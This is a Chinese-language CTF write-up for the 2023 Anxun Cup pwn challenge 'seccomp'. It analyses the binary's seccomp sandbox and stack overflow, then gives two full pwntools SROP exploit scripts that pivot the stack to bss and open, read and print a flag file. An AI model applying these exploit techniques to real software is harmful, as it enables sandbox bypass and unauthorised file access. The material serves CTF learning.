2023 安洵杯-PWN-【seccomp】

2024-01-17 00:52
文章标签 2023 pwn 安洵 seccomp

本文主要是介绍2023 安洵杯-PWN-【seccomp】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 检查
  • 设置
    • 注意事项
  • 源码
    • main函数
    • sub_40143E(a1,a2,a3)
    • sub_40119E()
    • 沙箱规则
    • sub_40136E()
  • 思路
  • 注意
  • exp
    • 无chmod版本
    • 有chmod版本

检查

在这里插入图片描述

设置

在当前文件夹下或者其他地方建个flag文件,内容自己随意定😄
在这里插入图片描述

注意事项

记得将动态链接器和动态库的文件也设置为777的权限,不然无法执行成功文件

非常感谢chamd5的venom组的柘狐师傅和L1n3师傅的帮助

在这里插入图片描述

源码

main函数

在这里插入图片描述

sub_40143E(a1,a2,a3)

int sub_40143E()
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);return setvbuf(stderr, 0LL, 2, 0LL);
}

sub_40119E()

__int64 sub_40119E()
{__int64 result; // rax__int64 v1; // [rsp+8h] [rbp-8h]v1 = seccomp_init(0LL);if ( !v1 ){perror("seccomp_init");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}result = seccomp_load(v1);if ( (int)result < 0 ){perror("seccomp_load");exit(1);}return result;
}

增加了一些沙箱

沙箱规则

在这里插入图片描述
允许read write open rt_sigreturn chmod函数(很明显可能要用到srop)
不允许exit_group函数

sub_40136E()

__int64 sub_40136E()
{char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREFv2[0] = 0x6F6E6B2075206F44LL;v2[1] = 0x6920746168772077LL;v2[2] = 0xA3F444955532073LL;strcpy(v1, "easyhack\n");syscall(1LL, 1LL, v1, 9LL);syscall(0LL, 0LL, &unk_404060, 4096LL);syscall(1LL, 1LL, v2, 24LL);syscall(0LL, 0LL, v1, 58LL);return 0LL;
}
  1. 先将v1的九个字符内容打印出来
  2. 然后读入bss段上偏移404060位置内容4096个字节
  3. 然后输出v2内24个字节到终端上
  4. 然后再读入v1的58个字节

思路

存在栈溢出漏洞,并且只能修改rbp和返回地址,明显需要栈迁移
如果栈迁移后直接用onegadget获得的shellcode,但其满足的条件比较棘手,并且还需获得libc基地址
获得基地址应该可以通过两次执行sub_40136E()函数可以实现(第二次开始需要让rsp恢复和call调用方式一样,即rsp需要减8),因为v1有输出也有输入。满足对应shellcode的条件就比较麻烦了,期待各位的发挥
在这里插入图片描述

那么无法getshell就orw,结合沙箱也很明显,而orw需要大量有关系统调用的,然后在没获得libc基地址的情况下可以通过SROP的方式实现相应的gadget

  1. 第一次输入构造好栈迁移后的rop链
    rop链:
    构造第一次读的sigreturnfram,使得将需要获取的flag文件位置字符串输入到可以写入的内存位置
    此时是否需要chmod的sigreturnfram看情况
    构造第一次open的sigreturnfram,打开flag对应的文件,此时对应的文件描述符是3
    构造第二次read的sigreturnfram,读取flag对应的文件的内容到某个可写的内存位置中
    构造第一次write的sigreturnfram,将flag写入内存的内容输出到终端上从而获得flag

  2. 第二次输入进行栈迁移从而上列的rop链

注意

rt_sigreturn系统调用函数会更新所有寄存器的值,没有设置的将默认为0,所以此时将必要的寄存器都有设置一遍,不存在什么顺序执行得到更新的。

创建文件1,文件2 ,由于进程启动会首先打开0,1,2(分别对应stdin、stdout、stderr),所以fd1=3,fd2=4;
关闭文件1后,fd=3被释放出来,所以再创建文件3时,fd3被分配的是当前最小描述符,即刚刚被释放的fd1,所以fd=3。

open函数和chmod函数的参数设置有点特殊在于它有字符串,在sigreturnfram中设置比较棘手。
对于chmod

int chmod(const char *pathname, mode_t mode);
对于第二个参数有下列设置,可以通过或从而同时设置
S_ISUID 执行时的set-user-ID
S_ISGID 执行时的set-group-ID
S_ISVTX saved-text(粘滞位)
S_IRWXU 用户读、写、执行
S_IRUSR 用户读
S_IWUSR 用户写
S_IXUSR 用户执行
S_IRWXG 组读、写、执行
S_IRGRP 组读
S_IWGRP 组写
S_IXGRP 组执行
S_IRWXO 其他人读、写、执行
S_IROTH 其他人读
S_IWOTH 其他人写
S_IXOTH 其他人执行

对应在sigreturn中的设置为constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH,此时是用户读|组读|其他人读

fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret

int open(const char *pathname, int flags);

第一个参数path表示:路径名或者文件名。路径名为绝对路径名(如C:/cpp/a.cpp),文件则是在当前工作目录下的。

第二个参数oflags表示:打开文件所采取的动作。

可能值:必须指定下面某一种:O_RDONLY(只读),O_WRONLY(只写),O_RDWR(可读可写)

打开/创建文件时,至少得使用上述三个常量中的一个
以下的常量是选用的,这些选项是用来和上面的必选项进行按位或起来作为flags参数。

  • O_APPEND 表示追加,如果原来文件里面有内容,则这次写入会写在文件的最末尾。
  • O_CREAT 表示如果指定文件不存在,则创建这个文件
  • O_EXCL 表示如果要创建的文件已存在,则出错,同时返回 -1,并且修改 errno 的值。
  • O_TRUNC 表示截断,如果文件存在,并且以只写、读写方式打开,则将其长度截断为0。
  • O_NOCTTY 如果路径名指向终端设备,不要把这个设备用作控制终端。
  • O_NONBLOCK 如果路径名指向 FIFO/块文件/字符文件,则把文件的打开和后继 I/O设置为非阻塞模式(nonblocking mode)-

以下三个常量同样是选用的,它们用于同步输入输出

  • O_DSYNC 等待物理 I/O 结束后再 write。在不影响读取新写入的数据的前提下,不等待文件属性更新。
  • O_RSYNC read 等待所有写入同一区域的写操作完成后再进行
  • O_SYNC 等待物理 I/O 结束后再 write,包括更新文件属性的 I/O

对应在sigreturn中的设置为constants.O_RDONLY,此时是只读形式打开

fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272+272
fram_open.rip=syscall_poprbp_ret

exp

无chmod版本

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./chall")
elf=ELF("./chall")
#gdb.attach(s,"b*0x40143D")
bss=0x404060
data=0x0000000000404000
mov_rax_0xf_ret=0x0000000000401193
leave_ret=0x000000000040143C
syscall_poprbp_ret=0x000000000040118Afram_read1=SigreturnFrame()
fram_read1.rax=constants.SYS_read
fram_read1.rdi=0
fram_read1.rsi=data
fram_read1.rdx=32
fram_read1.rsp=0x404060+272
fram_read1.rip=syscall_poprbp_ret
"""  
不一定会用到
fram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=7
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_ret"""
fram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272 # +272
fram_open.rip=syscall_poprbp_retfram_read2=SigreturnFrame()
fram_read2.rax=constants.SYS_read
fram_read2.rdi=3 # 第一个打开的文件描述符默认为3
fram_read2.rsi=0x0000000000404000+8
fram_read2.rdx=32
fram_read2.rsp=0x404060+272+272+272#+272 如果用到chmod 的frame需要加272
fram_read2.rip=syscall_poprbp_retfram_write=SigreturnFrame()
fram_write.rax=constants.SYS_write
fram_write.rdi=1
fram_write.rsi=0x0000000000404000+8
fram_write.rdx=32
fram_write.rsp=0x404060+272+272+272+272#+272 如果用到chmod 的frame需要加272
fram_write.rip=syscall_poprbp_retpayload=p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read1)# 往bss段输入rop链
print("payload的长度:",len(payload))# 272#payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_chmod)payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_open)payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read2)payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_write)s.recvuntil(b"easyhack\n")
s.send(payload)payload=42*b"a"+p64(bss)+p64(leave_ret)  # 溢出修改rbp和返回地址使得栈迁移到bss上
s.recvuntil(b"Do u know what is SUID?\n")
s.send(payload)payload=b"./flag\x00"
s.send(payload)# 栈迁移后第一次read输入
s.interactive()

有chmod版本

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./chall")
elf=ELF("./chall")
#gdb.attach(s,"b*0x40143D")
bss=0x404060
data=0x0000000000404000
mov_rax_0xf_ret=0x0000000000401193
leave_ret=0x000000000040143C
syscall_poprbp_ret=0x000000000040118Afram_read1=SigreturnFrame()
fram_read1.rax=constants.SYS_read
fram_read1.rdi=0
fram_read1.rsi=data
fram_read1.rdx=32
fram_read1.rsp=0x404060+272
fram_read1.rip=syscall_poprbp_retfram_chmod=SigreturnFrame()
fram_chmod.rax=constants.SYS_chmod
fram_chmod.rdi=data
fram_chmod.rsi=constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH
fram_chmod.rsp=0x404060+272+272
fram_chmod.rip=syscall_poprbp_retfram_open=SigreturnFrame()
fram_open.rax=constants.SYS_open
fram_open.rdi=data
fram_open.rsi=constants.O_RDONLY
fram_open.rdx=0
fram_open.rsp=0x404060+272+272+272
fram_open.rip=syscall_poprbp_retprint("open的第二个参数",constants.O_RDONLY)# 就是O_RDONLY 
print("chmod的第二个参数",constants.S_IRUSR | constants.S_IRGRP | constants.S_IROTH)
fram_read2=SigreturnFrame()
fram_read2.rax=constants.SYS_read
fram_read2.rdi=3 # 第一个打开的文件描述符默认为3
fram_read2.rsi=0x0000000000404000+8
fram_read2.rdx=32
fram_read2.rsp=0x404060+272+272+272+272
fram_read2.rip=syscall_poprbp_retfram_write=SigreturnFrame()
fram_write.rax=constants.SYS_write
fram_write.rdi=1
fram_write.rsi=0x0000000000404000+8
fram_write.rdx=32
fram_write.rsp=0x404060+272+272+272+272+272
fram_write.rip=syscall_poprbp_retpayload=p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read1)# 往bss段输入rop链
print("payload的长度:",len(payload))# 272payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_chmod)payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_open)payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_read2)payload=payload+p64(0)+p64(mov_rax_0xf_ret)+p64(syscall_poprbp_ret)+bytes(fram_write)s.recvuntil(b"easyhack\n")
s.send(payload)payload=42*b"a"+p64(bss)+p64(leave_ret)  # 溢出修改rbp和返回地址使得栈迁移到bss上
s.recvuntil(b"Do u know what is SUID?\n")
s.send(payload)payload=b"./flag\x00"
s.send(payload)# 栈迁移后第一次read输入
s.interactive()

这篇关于2023 安洵杯-PWN-【seccomp】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/614456

相关文章

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

2023 CCPC(秦皇岛)现场(第二届环球杯.第 2 阶段:秦皇岛)部分题解

所有题目链接:Dashboard - The 2023 CCPC (Qinhuangdao) Onsite (The 2nd Universal Cup. Stage 9: Qinhuangdao) - Codeforces 中文题面: contest-37054-zh.pdf (codeforces.com) G. Path 链接: Problem - G - Codeforces

HNU-2023电路与电子学-实验1

写在前面: 这是电路与电子学课程的第一次实验,按照指导书的需求在Multisim软件搭建一个电路传感器模型,难度较小,细心完成就没有问题。 小tips:22级实验是采用上传到测试平台来进行功能检测,如果不通过则会打回修改后再重新提交,(我们那时候的评测系统特别特别慢,一次只能测一个同学,剩下同学就排队等着,久的时候甚至超过10个小时),这里列举一个常见的错误:热噪声有+号这端需要连接有源滤波器

【python】—— Python爬虫实战:爬取珠海市2011-2023年天气数据并保存为CSV文件

目录 目标 准备工作 爬取数据的开始时间和结束时间 爬取数据并解析 将数据转换为DataFrame并保存为CSV文件         本文将介绍如何使用Python编写一个简单的爬虫程序,以爬取珠海市2011年至2023年的天气数据,并将这些数据保存为CSV文件。我们将涉及到以下知识点: 使用requests库发送HTTP请求使用lxml库解析HTML文档使用dateti

Acrobat Pro DC 2023 for Mac/Win:全能型PDF编辑器深度解析

Adobe Acrobat Pro DC 2023作为一款跨平台的PDF编辑器,无论是对于Mac还是Windows用户,都提供了极为全面且强大的PDF处理功能。该软件凭借其卓越的性能和丰富的特性,成为了全球范围内用户处理PDF文档的首选工具。 一、强大的编辑功能 Acrobat Pro DC 2023内置了多种编辑工具,如文本编辑器、图片替换、页面调整等,使用户能够轻松地对PDF文档进行修改和

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

【行业报告】2023年消除类手游全球市场洞察

​更多消除内容: 长线消除游戏商业化设计案例:《梦幻花园》 - 游戏干饭之家 谈谈《开心消消乐》是如何做游戏商业化活动 - 游戏干饭之家 消除游戏展现了从简单的游戏玩法到复杂的社交互动,再到精细化运营的发展历程,其通过不断的创新和适应现代游戏的市场变化,依然活跃在市场的前沿 一、消除游戏分类定义 二、消除手游市场现状分析 消除手游近两年下载量增速表现优于整体手游表现,下

【数据分享】2000—2023年我国省市县三级逐月归一化植被指数(NDVI)数据(Shp/Excel格式)

之前我们分享过2000—2023年逐月归一化植被指数(NDVI)栅格数据(可查看之前的文章获悉详情),该数据来源于NASA定期发布的MOD13A3数据集!很多小伙伴拿到数据后反馈栅格数据不太方便使用,问我们能不能把数据处理为更方便使用的Shp和Excel格式的数据! 我们特地对数值在-0.2—1之间的NDVI栅格数据进行了处理,将2000-2023年逐月的归一化植被指数栅格分别按照我国省级行政边

Update Azure OpenAI npm Package to 2023-12-01-preview Version

题意:将 Azure OpenAI npm 包更新到 2023-12-01-preview 版本 问题背景: I am currently using the azure-openai npm package in my project with version 2023-03-15-preview. As per the latest updates, version 2023-12